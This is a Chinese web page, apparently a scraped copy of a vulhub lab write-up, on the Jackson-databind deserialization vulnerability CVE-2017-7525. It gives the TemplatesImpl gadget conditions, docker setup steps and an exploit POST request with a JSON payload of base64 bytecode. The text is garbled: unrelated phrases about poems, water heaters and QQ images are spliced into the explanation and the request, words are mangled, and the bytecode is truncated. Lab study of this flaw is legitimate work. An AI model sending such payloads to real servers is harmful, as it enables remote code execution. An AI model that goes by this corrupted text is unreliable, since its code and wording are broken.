Jackson-databind反序列化漏洞(CVE-2017-7525)

更新时间:2023-07-18 19:00:28 阅读: 评论:0

Jackson-databind反序列化漏洞(CVE-2017-7525)
漏洞原理
Jackson-databind ⽀持 Polymorphic Derialization 特性(默认情况下不开启),当 json 字符串转换的 Target class 中有polymorph fields,即字段类型为接⼝、抽象类或 Object 类型时,攻击者可以通过在 json 字符串中指定变量的具体类型 (⼦类或接⼝实现类),来实现实例化指定的类,借助某些特殊的 class,如 TemplatesImpl,可以实现任意代码执⾏。
所以,本漏洞利⽤条件如下:
开启 JacksonPolymorphicDerialization,即调⽤以下任意⽅法
关于春夏秋冬的诗句
司马光好学文言文翻译
Target class 中需要需要有字段类型为 Interface、abstract class、Object,并且使⽤的 Gadget 需要为其⼦类 / 实现接⼝
环境搭建
cd /root/vulhub/jackson/CVE-2017-7525
docker-compo up -d
⽤docker和vulhub搭建环境
使⽤JDK7u21的com.sun.apache.xalan.ax.TemplatesImpl作为Gadget,发送如下请求,将会执⾏touch
/:
发送POST数据,其中ba64加密的就是我们执⾏命令的
POST /exploit HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en思亲的诗句
Ur-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: clo
感动的名言
Content-Type: application/json
qq封面图片Content-Length: 1298
{
"param": [
传染性"com.sun.apache.xalan.ax.TemplatesImpl",
{
热水器漏电"transletBytecodes": [
"yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVt      ],
"transletName": "a.b",
"outputProperties": {}
}
]
英语月份缩写
}
这个POC只能运⾏在⽬标为JDK7u21以下的环境中,其他情况请更换Gadget。

本文发布于:2023-07-18 19:00:28,感谢您对本站的认可!

本文链接:https://www.wtabcd.cn/fanwen/fan/89/1086690.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:漏洞   指定   情况   类型   发送   环境   需要   实现
相关文章
留言与评论(共有 0 条评论)
   
验证码:
推荐文章
排行榜
Copyright ©2019-2022 Comsenz Inc.Powered by © 专利检索| 网站地图